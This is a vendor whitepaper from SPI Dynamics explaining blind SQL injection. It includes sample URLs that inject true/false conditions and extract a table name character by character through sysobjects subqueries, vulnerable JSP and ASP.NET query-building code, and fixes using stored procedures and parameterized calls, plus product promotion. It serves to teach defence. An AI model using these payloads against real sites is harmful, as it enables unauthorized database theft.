SPI DYNAMICS

Start Secure. Stay Secure.™

Blind SQL Injection

Are your web applications vulnerable?

By Kevin Spett

Table of Contents

Blind SQL Injection

Introduction

The World Wide Web has experienced remarkable growth in recent years. Businesses, individuals, and governments have found that web applications can offer effective, efficient and reliable solutions to the challenges of communicating and conducting commerce in the Twenty-first century. However, in the cost-cutting rush to bring their web-based applications on line — or perhaps just through simple ignorance — many software companies overlook or introduce critical security issues.

To build secure applications, developers must acknowledge that security is a fundamental component of any software product and that safeguards must be infused with the software as it is being written. Building security into a product is much easier (and vastly more cost-effective) than any post-release attempt to remove or limit the flaws that invite intruders to attack your site. To prove that dictum, consider the case of blind SQL injection.

What is Blind SQL Injection?

Let's talk first about plain, old-fashioned, no-frills SQL injection. This is a hacking method that allows an unauthorized attacker to access a database server. It is facilitated by a common coding blunder: the program accepts data from a client and executes SQL queries without first validating the client's input. The attacker is then free to extract, modify, add, or delete content from the database. In some circumstances, he may even penetrate past the database server and into the underlying operating system.

Hackers typically test for SQL injection vulnerabilities by sending the application input that would cause the server to generate an invalid SQL query. If the server then returns an error message to the client, the attacker will attempt to reverse-engineer portions of the original SQL query using information gained from these error messages. The typical administrative

safeguard is simply to prohibit the display of database server error messages. Regrettably, that's not sufficient.

If your application does not return error messages, it may still be susceptible to "blind" SQL injection attacks.

Detecting Blind SQL Injection Vulnerability

Web applications commonly use SQL queries with client-supplied input in the WHERE clause to retrieve data from a database. By adding additional conditions to the SQL statement and evaluating the web application's output, you can determine whether or not the application is vulnerable to SQL injection.

For instance, many companies allow Internet access to archives of their press releases. A URL for accessing the company's fifth press release might look like this:

```
http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5
```

The SQL statement the web application would use to retrieve the press release might look like this (client-supplied input is underlined):

```
SELECT title, description, releaseDate, body FROM pressReleases
WHERE pressReleaseID = 5
```

The database server responds by returning the data for the fifth press release. The web application will then format the press release data into an HTML page and send the response to the client.

Blind SQL Injection

To determine if the application is vulnerable to SQL injection, try injecting an extra true condition into the WHERE clause. For example, if you request this URL . . .

```
http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
1=1
```

. . . and if the database server executes the following query . . .

```
SELECT title, description, releaseDate, body FROM pressReleases
WHERE pressReleaseID = 5 AND 1=1
```

. . . and if this query also returns the same press release, then the application is susceptible to SQL injection. Part of the user's input is interpreted as SQL code.

A secure application would reject this request because it would treat the user's input as a value, and the value "5 AND 1=1" would cause a type mismatch error. The server would not display a press release.

Exploiting the Vulnerability

When testing for vulnerability to SQL injection, the injected WHERE condition is completely predictable: 1=1 is always true. However, when we attempt to exploit this vulnerability, we don't know whether the injected WHERE condition is true or false before sending it. If a record is returned, the injected condition must have been true. We can use this behavior to "ask" the database server true/false questions. For instance, the following request essentially asks the database server, "Is the current user dbo?"

```
http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
USER_NAME() = 'dbo'
```

Blind SQL Injection

USER_NAME() is a SQL Server function that returns the name of the current user. If the current user is dbo (administrator), the fifth press release will be returned. If not, the query will fail and no press release will be displayed.

By combining subqueries and functions, we can ask more complex questions. The following example attempts to retrieve the name of a database table, one character at a time.

```
http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE
xtype='U'), 1, 1))) > 109
```

The subquery (SELECT) is asking for the name of the first user table in the database (which is typically the first thing to do in SQL injection exploitation). The substring() function will return the first character of the query's result. The lower() function will simply convert that character to lower case. Finally, the ascii() function will return the ASCII value of this character.

If the server returns the fifth press release in response to this URL, we know that the first letter of the query's result comes after the letter "m" (ASCII character 109) in the alphabet. By making multiple requests, we can determine the precise ASCII value.

```
http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE
xtype='U'), 1, 1))) > 116
```

If no press release is returned, the ASCII value is greater than 109 but not greater than 116. So, the letter is between "n" (110) and "t" (116).

Blind SQL Injection

```
http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE
xtype='U'), 1, 1))) > 113
```

Another false statement. We now know that the letter is between 110 and 113.

```
http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE
xtype='U'), 1, 1))) > 111
```

False again. The range is narrowed down to two letters: ‘n’ and ‘o’ (110 and 111).

```
http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE
xtype='U'), 1, 1))) = 111
```

The server returns the press release, so the statement is true! The first letter of the query’s result (and the table’s name) is “o.” To retrieve the second letter, repeat the process, but change the second argument in the substring() function so that the next character of the result is extracted: (change underlined)

```
http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE
xtype='U'), 2, 1))) > 109
```

Repeat this process until the entire string is extracted. In this case, the result is “orders.”

As you can see, simply disabling the display of database server error messages does not offer sufficient protection against SQL injection attacks.

Solutions

To secure an application against SQL injection, developers must never allow client-supplied data to modify the syntax of SQL statements. In fact, the best protection is to isolate the web application from SQL altogether. All SQL statements required by the application should be in stored procedures and kept on the database server. The application should execute the stored procedures using a safe interface such as JDBC's CallableStatement or ADO's Command Object. If arbitrary statements must be used, use PreparedStatements. Both PreparedStatements and stored procedures compile the SQL statement before the user input is added, making it impossible for user input to modify the actual SQL statement.

Let's use pressRelease.jsp as an example. The relevant code would look something like this:

```
String query = "SELECT title, description, releaseDate, body
FROM pressReleases WHERE pressReleaseID = " +
request.getParameter("pressReleaseID");
Statement stmt = dbConnection.createStatement();
ResultSet rs = stmt.executeQuery(query);
```

The first step toward securing this code is to take the SQL statement out of the web application and put it in a stored procedure on the database server.

```
CREATE PROCEDURE getPressRelease
@pressReleaseID integer
AS
SELECT title, description, releaseDate, body FROM pressReleases
WHERE pressReleaseID = @pressReleaseID
```

Now back to the application. Instead of string building a SQL statement to call the stored procedure, a CallableStatement is created to safely execute it.

Blind SQL Injection

```
CallableStatement cs = dbConnection.prepareCall(“{call
getPressRelease(?)}”);
cs.setInt(1,
Integer.parseInt(request.getParameter(“pressReleaseID”)));
ResultSet rs = cs.executeQuery();
```

In a .NET application, the change is similar. This ASP.NET code is vulnerable to SQL injection:

```
String query = "SELECT title, description, releaseDate, body
FROM pressReleases WHERE pressReleaseID = " +
Request["pressReleaseID"];

SqlCommand command = new SqlCommand(query,connection);

command.CommandType = CommandType.Text;

SqlDataReader dataReader = command.ExecuteReader();
```

As with JSP code, the SQL statement must be converted to a stored procedure, which can then be accessed safely by a stored procedure SqlCommand:

```
SqlCommand command = new
SqlCommand("getPressRelease",connection);

command.CommandType = CommandType.StoredProcedure;

command.Parameters.Add("@PressReleaseID",SqlDbType.Int);

command.Parameters[0].Value =
Convert.ToInt32(Request["pressReleaseID"]);

SqlDataReader dataReader = command.ExecuteReader();
```

Finally, reinforcement of these coding policies should be performed at all stages of the application lifecycle. The most efficient way is to use a vulnerability assessment tool such as WebInspect. Developers simply run WebInspect, or WebInspect for Microsoft Studio .NET. This allows application and web services developers to automate the discovery of security vulnerabilities as they build applications, access detailed steps for remediation of those vulnerabilities, and deliver secure code for final quality assurance testing.

Early discovery and remediation of security vulnerabilities reduces the overall cost of secure application deployment, improving both application ROI and overall organizational security.

The Business Case for Application Security

Whether a security breach is made public or confined internally, the fact that a hacker has accessed your sensitive data should be a huge concern to your company, your shareholders and, most importantly, your customers. SPI Dynamics has found that the majority of companies that are vigilant and proactive in their approach to application security are better protected. In the long run, these companies enjoy a higher return on investment for their e-business ventures.

About SPI Labs

SPI Labs is the dedicated application security research and testing team of SPI Dynamics. Composed of some of the industry's top security experts, SPI Labs is focused specifically on researching security vulnerabilities at the web application layer. The SPI Labs mission is to provide objective research to the security community and all organizations concerned with their security practices.

SPI Dynamics uses direct research from SPI Labs to provide daily updates to WebInspect, the leading Web application security assessment software. SPI Labs engineers comply with the standards proposed by the Internet Engineering Task Force (IETF) for responsible security vulnerability disclosure. SPI Labs policies and procedures for disclosure are outlined on the SPI Dynamics web site at: http://www.spidynamics.com/spilabs.html.

About SPI Dynamics

SPI Dynamics, the expert in web application security assessment, provides software and services to help enterprises protect against the loss of confidential data through the web application layer. The company's flagship product line, WebInspect, assesses the security of an organization's applications and web services, the most vulnerable yet least secure IT infrastructure component. Since its inception, SPI Dynamics has focused exclusively on web application security. SPI Labs, the internal research group of SPI Dynamics, is recognized as the industry's foremost authority in this area.

Software developers, quality assurance professionals, corporate security auditors and security practitioners use WebInspect products throughout the application lifecycle to identify security vulnerabilities that would otherwise go undetected by traditional measures. The security assurance provided by WebInspect helps Fortune 500 companies and organizations in regulated industries — including financial services, health care and government — protect their sensitive data and comply with legal mandates and regulations regarding privacy and information security.

SPI Dynamics is privately held with headquarters in Atlanta, Georgia.

About the WebInspect Product Line

The WebInspect product line ensures the security of your entire network with intuitive, intelligent, and accurate processes that dynamically scan standard and proprietary web applications to identify known and unidentified application vulnerabilities. WebInspect products provide a new level of protection for your critical business information. With WebInspect products, you find and correct vulnerabilities at their source, before attackers can exploit them.

Whether you are an application developer, security auditor, QA professional or security consultant, WebInspect provides the tools you need to ensure the security of your web applications through a powerful combination of unique Adaptive-Agent™ technology and SPI Dynamics' industry-leading and continuously updated vulnerability database, SecureBase™. Through Adaptive-Agent technology, you can quickly and accurately assess the security of your web content, regardless of your environment. WebInspect enables users to perform security assessments for any web application, including these industry-leading application platforms:

- Macromedia ColdFusion
- Lotus Domino
- Oracle Application Server
- Macromedia JRun
- BEA Weblogic
- Jakarta Tomcat

About the Author

Kevin Spett is a senior research and development engineer at SPI Dynamics, where his responsibilities include analyzing web applications and discovering new ways of uncovering threats, vulnerabilities and security risks. In addition, he is a member of the SPI Labs team, the application security research and development group within SPI Dynamics.

Contact Information

SPI Dynamics
115 Perimeter Center Place
Suite 1100
Atlanta, GA 30346

Telephone: (678) 781-4800
Fax: (678) 781-4850
Email: info@spidynamics.com
Web: www.spidynamics.com